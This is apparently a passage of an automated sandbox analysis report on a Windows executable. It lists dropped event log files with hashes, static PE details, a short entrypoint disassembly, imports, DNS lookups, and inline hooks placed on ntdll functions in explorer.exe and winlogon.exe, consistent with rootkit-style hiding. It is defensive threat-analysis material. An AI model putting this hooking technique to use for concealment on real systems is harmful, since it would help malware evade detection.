Preview:	ElfChnk.........@...............@...............`.........................................................................._f#.................`...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................9...................................**..H............3...............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Device Registration%4Admin.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3132453844344478
Encrypted:	false
SSDEEP:	384:hhaXJb4+XJcXJsXJrXJQXJIXJdXJkXJuXJyXJLMXJnXJRXJtXJLXJjXJppXJ:hQ0yUkNYwD8imLE5nTtFpf
MD5:	6237EE0458A0478242B975E9BB7AA97D
SHA1:	6B0BDBA887DA21675A63FC73AED995B1BCA3F6B1
SHA-256:	C8E224C54278C206302EAD7011ACC48CAC60E7638E32EE70653190DBC90FA70A
SHA-512:	56C025C971F77AB8E911E0190E8AB5CF533A909C1BF4558876FB2761AAA381CB7D21E44A3273FA4427CB2FF7DEECC15A312DD2A424B96ABDC4886BDF233F30E9
Malicious:	false
Preview:	ElfChnk......................................<...A.........................................................................i,.q................j...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................<......C...........................**..............@V.$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.325262033408211
Encrypted:	false
SSDEEP:	384:6hYmn9moomUmKBmZOmZmlmmmomRmemtmsmimGmHmEmqmwmHmLmlm9mGmdmpm3mfO:6/fGTDcx
MD5:	D13189B45679E53F5744A4D449F8B00F
SHA1:	ED410CAB42772E329F656B4793B46AC7159CF05B
SHA-256:	BAA80D6A7DC42752766B1862A00009A1D76B57022A4D5A89692DBA2D6866EBA1
SHA-512:	83399CE082F8C6D2917B8363E053C770F2783B3D086F39736919FBFA533DF65993A3B7840A2E1000B08948584CF9750C27961BF8A7BE3A235B5DDD779616013F
Malicious:	false
Preview:	ElfChnk.....................................h.................................................................................-.................X...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................1...........&.......................................................................................**..x...........~_g...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7947046118743749
Encrypted:	false
SSDEEP:	384:jhr2zS2o202AW2D2t2l292l2V2p2d2N2:j8Q
MD5:	55E73A924B170FBFFF862E8E195E839A
SHA1:	3C625D05DFC08AE9DF26AEBAA82D72FC9F28ADB0
SHA-256:	1B36D85AA56A023F6646D6EF28C9DCB5358528274EDCC9B6ED20705E3007E8A2
SHA-512:	E14D32569F37A827EDBD1F02667866431C856D087A396933DE5E9B87943369C4802D220557050C7B0FE9367FBD0683676776E6D3CCBCB290C9F30D86EC529E28
Malicious:	false
Preview:	ElfChnk...................................... ..X"...........................................................................?.................Z...........................=...........................................................................................................................f...............?...........................m...................M...F...............................3...........................&.......................................................................................**................................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67448
Entropy (8bit):	4.362541887087964
Encrypted:	false
SSDEEP:	384:8grRcRvxhSRumRtRqR5RVR+rRvR3RFRXRmRbR+RLRlRFRDRiwhR3KR31RIRB8R+l:8hxA8nPLGbd
MD5:	42421F1B7286F036582A6D7D99CF3147
SHA1:	8E897235D1DFF91A69DE38C8E94EE46D26444DBB
SHA-256:	CF20D23E84769288754DF5D324B46B78FB469D9AE5B745BEB262A33782FE5DDA
SHA-512:	786F7CAA3A9B54342E6B8EAB3BCA4C0C0D39A3933E2364BAC9BA0B70AC0102688132FC7450559D4C04DC3D988E2DA3891003E71B334256B3352ACE1E8C9015D1
Malicious:	false
Preview:	ElfChnk.....................................X...@...W.7......................................................................Kj......................y.......x..N...........=............................................y..................}y..3...........................................c......xb..f...h.......lc..?.......................h........c......M.......M...F...9c..............................................Qb..............................................A.......i.......................&............x..*..............j.KB.".........x68................................................................<.......T...-.!................@j.KB.".....+...O..R^.Ap.$...@........................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y.......#F.~.J.{..M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.W.M.I.-.A.c.t.i.v.i.t.y./.O.p.e.r.a.t.i.o.n.a.l......Qb.........................P.r.o.t.e.c.t.i.o.n.M.a.n.a.g.e.m.e.n.t.......w.m.i.p.r.v.s.e...e.x.e...$...".%.P.r.o.g.r.a.m.D.a.t.a.%.\.M.i.c

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.273338343434408
Encrypted:	false
SSDEEP:	384:mhWhjhUh4h4hthXhzh8cghshqh9hihXhMhxhzhwhohGh5h3hShChWhzhLhahYhC1:mBsFpkBjOFK
MD5:	C37372EB51AEDB4552CB839C7294403A
SHA1:	7B7C408D72B084CE36AA6B623AC6B907FD21D569
SHA-256:	C3B5D9D16F88507EF69A9B6FF8581AEBAFF84D254F62CD4E75B6A9C6F93E93C4
SHA-512:	69183719C29FCE5CEDB2634579ABA9FEF835A3CDC7668BB741F9DB36050756C088FD331E898DA8E4850887FD217B939DF1C5A3E7D73D2260CB3AC3570E71718E
Malicious:	false
Preview:	ElfChnk....................................................................................................................x...........................................8...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..............i.T..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.231195890775603
Encrypted:	false
SSDEEP:	384:ZhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVt9VjViVyVKVui:Zyjbn
MD5:	3365A34953FD7B16667108A049B64DA5
SHA1:	C72421A58E063D64072152344B266F8306A78702
SHA-256:	AAEDFFE84B66B602858AF51D5B2EBA7CFC9DB57A4A3DD3240DB44B737B9BBF26
SHA-512:	A5569EDC7516DACCCE7B3135114588E01ED1A77CA95B0F378E389E27AC8999EA71E8AF36FD275EEA7E81987CB9BF14910645DE3DC4FE8E086FF532796DD78AAF
Malicious:	false
Preview:	ElfChnk.........!...............!............7..`8...j......................................................................@..#................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v....................................................3..................................**..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.350875711842647
Encrypted:	false
SSDEEP:	384:Zh+BwB5BwBjBwBNSBwBYiBwB+BwBXBwBZabSqBwBlQBwBtfBwBvBwBPnBwBIrBwb:ZOqabeGTnbuSxH
MD5:	6FA59B2FB733B8FA5E0074C9B93602FC
SHA1:	B6FC27D7B620403BE985F6A19D5CEE5C8FA1418D
SHA-256:	38C2A1038D038123085A68752AEA0813A3CCBD7D1FBC5100817BC63176FFEF72
SHA-512:	BF930369188EBA913EE5BEB77D5B48612246B5BE93E680E9B4D00A712543CCEB3DDF10C887924FBA2ACDDFA8FEDD5388E022BF18787091AEA2E042362CE4536A
Malicious:	false
Preview:	ElfChnk.....................................H...x...M........................................................................#..............................................=...........................................................................................................................f...............?...........................m...................M...F....................S......................................&...................................u...................................................**...............Dbf..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.421206160086997
Encrypted:	false
SSDEEP:	384:ah1qUEzUELUEnUEQUEpUE9UE4UEvUEqUEGUEuUEyUEpjUEmUE6UEVUE1UEdUEoUF:arN5mPfkvmR
MD5:	67CAD90771EBC0BD20736201D89C1586
SHA1:	EE241B07EBD6E7A64AE367520F5C0665F4EBBAD7
SHA-256:	7801ED56F87C5A71A42128D089176CFDAACCCD6998EACCD07E46207F2CD48467
SHA-512:	27DE77A98E11A1D33B648B9F46671F61338B1746032B4AD8F003A8A5C52FB7C3ECCB834057074EF5FCD3459A0810439BAF63E1320B385F7A5E81757A90BBFD13
Malicious:	false
Preview:	ElfChnk.........l...............l...............@....^.....................................................................+t].................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......Q8.......................................................6......................**...............yM..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68120
Entropy (8bit):	4.3283799428200735
Encrypted:	false
SSDEEP:	384:xPFR/PFRao8onS6cWNfoLSbdsLSvnQYoxMtg6Wo9MtxLo9MtMozonuoxNo/Vo1+7:fPGa1ZGg6UXa5B
MD5:	A0DFBDE96F777AA2D2619DC0DF86CCCD
SHA1:	7721A8D94CC5847CD5C8980C9492FF36798B29B0
SHA-256:	38361DCAC6564031E595226820184B35BD7C17D3859DAE52556D71E1D3B1A22B
SHA-512:	2E3D8C0CE34C92770C5F3FCED512F7CEEE96EB04A61529007BC8EE7A7A94F2F2EC83D78ECC78D8655C420C4D03F226CC004898A36225E220FD8CADEFD9E66070
Malicious:	false
Preview:	ElfChnk.................U.......U......................x.....................................................................T3.....................s...h...............N...=...................................................N...............................................w.......4.......................-...................................[...........).......M...R...:...........................................................&...................................................................................**......U.........>.".........Wt.&........Wt...wX..9Ck?5.?.......A..3...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....\...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Setup.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	67984
Entropy (8bit):	0.4044369109592055
Encrypted:	false
SSDEEP:	96:mwKNVaO80oiX38yhO2XwKNVaO80oiX38yhO2:mw8V7BhhZw8V7Bhh
MD5:	E15077F31626F38E0A2CA0A73D234501
SHA1:	D5E1F1B9A5409A2B95FB3F1AC6ABACFD60E3404A
SHA-256:	4336A3ED827629B9FF0CCEBB88A8839E045B9855FE0B98F619A62D07C6F59FD6
SHA-512:	2022A7554366B8B1F46EF304FD3403126CA11FA982D360D0BC58D0903890A5BDECDD072526B7417BB927527D48A8B7E695273E688126099F4804A512EE3F7C0A
Malicious:	false
Preview:	ElfChnk..............................................[........................................................................W.............................................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**.................B."............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	79312
Entropy (8bit):	4.4040143243423095
Encrypted:	false
SSDEEP:	768:/eKePj6znLmLQXHmtpJnqiNHpzoQpTeZ/J:a6X4MHmcsQJ
MD5:	D1059054463896BA14027F0070A3F5AE
SHA1:	1E288FC255506598D996AD4EE2D94C1AB3EE28CC
SHA-256:	23CE1CD7A76E4CC6F21B49AA3706ECB5DDAAFD63AFD297B490D79EA59BEC7932
SHA-512:	64E3AAC862ACE06479BE0398C627D68086FFF37C7B626765FA4A835705676E9F1493E1E51B9B17822C2772EB24F385F3B56A27BC0000CFE2BCE5B5598AF4193C
Malicious:	false
Preview:	ElfChnk.................m.......u...................-.......................................................................I..<....................s...h...................=...................................................N...............................Y...............w.......0.......................E...................................W...........).......M...3...:...........................................................................................................................&...................**......m.........>.".........i.e&........i.e.t.Q...H.C.A;.......A../...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....X...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	77088
Entropy (8bit):	3.84886054221554
Encrypted:	false
SSDEEP:	1536:vIEvJ0Bj1aIEvJ0Bj1bztNPY3c9Nw0zEkkp:F
MD5:	7C4A8F303A35AA62A03E778EAEA2B653
SHA1:	B5E6B150833BCE7199F0C44E2A0C1938CF0950B5
SHA-256:	61212098C4C3B346115A43725352ACD4796165ADFA805DDC31C80BFC0B782C64
SHA-512:	4E3DE36B8C1A811B98117A42D1D328B45A87E4483347049455578B8865A6165BFC36212B416157DF2202B7852F730EB525638F75AC9F7E13811F56B4E84E74BE
Malicious:	false
Preview:	ElfChnk.................y....................(.. -..........................................................................G...............................................=..........................................................................................................................._...............8...........................f...................M...c...........................n...............................................&.......................................................................**......y.........A.".........B.&........B...._j..d.:Ad........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.53877415843636
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	whrbuflqwhah.exe
File size:	5'512'704 bytes
MD5:	99201be105bf0a4b25d9c5113da723fb
SHA1:	443e6e285063f67cb46676b3951733592d569a7c
SHA256:	e4eda2de1dab7a3891b0ed6eff0ccd905ff4b275150004c6eb5f1d6582eea9a2
SHA512:	b57ae7282f2798cbf231f8ca6081b5fab10068566a49f0ad735e8408ccd73d77efb5c26a48b7591e20711f0adbd9e619b40078b9c51d31b7a9768104529e7808
SSDEEP:	98304:iLYn+RXS6SNwDy4+8ZEo1cQ5fQsN/lHKVQyDMUO6PWe7xulC0jYURWBFfiX5g:iO+lFf+toK2fvKhDMnqulQz65
TLSH:	FA4612096253D9AEF8E09D799A0742751E43E545CADF40CEE3C2CD98ED508B3A3724EE
File Content Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...L..e.........."...........S.....@..........@..............................T...........`........................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x65F9C64C [Tue Mar 19 17:07:24 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	b237ac2118704db9e7609540658f5790

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00011ED5h]
mov dword ptr [eax], 00000001h
call 00007F3278EC758Fh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00011EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F3278EC75B0h
dec eax
cmp edi, eax
je 00007F3278EC75ABh
dec esp
mov esi, dword ptr [00016989h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F3278EC7587h
dec eax
cmp edi, eax
jne 00007F3278EC7569h
dec eax
mov edi, dword ptr [00011E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F3278EC758Eh
mov ecx, 0000001Fh
call 00007F3278ED8984h
jmp 00007F3278EC75A9h
cmp dword ptr [edi], 00000000h
je 00007F3278EC758Bh
mov byte ptr [00542531h], 00000001h
jmp 00007F3278EC759Bh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00011E7Ah]
dec eax
mov edx, dword ptr [00011E7Bh]
call 00007F3278ED897Bh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F3278EC759Bh
dec eax
mov ecx, dword ptr [00011E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17818	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x548000	0x198	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x54b000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x130a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x13410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x179d0	0x178	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11796	0x11800	534e9ea0887f36602d6d14b8360957d2	False	0.45576171875	data	6.17868523304557	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x13000	0x500c	0x5200	90229a5fd96fa1d83f6376324021472c	False	0.510718368902439	data	4.958364190279132	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x19000	0x52e6b8	0x52a800	a814ecb1f5f96cabed4050850d1fc8de	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x548000	0x198	0x200	ffbf52ea93ef1f925677ec10c8347a42	False	0.533203125	data	3.6276651287955146	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x549000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x54a000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x54b000	0x78	0x200	111b62decd44d01c1a3fcff66d2d0696	False	0.240234375	data	1.4878116201849654	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strcat, strcpy, strlen, strncmp, strstr, vfprintf, wcscat, wcscpy, wcslen, wcsncmp, wcsstr
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Network Behavior

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 20, 2024 05:58:16.678709030 CEST	1.1.1.1	192.168.2.4	0x49d1	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 20, 2024 05:58:16.678709030 CEST	1.1.1.1	192.168.2.4	0x49d1	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Oct 20, 2024 05:58:39.379698992 CEST	1.1.1.1	192.168.2.4	0xb5c4	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 20, 2024 05:58:39.379698992 CEST	1.1.1.1	192.168.2.4	0xb5c4	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
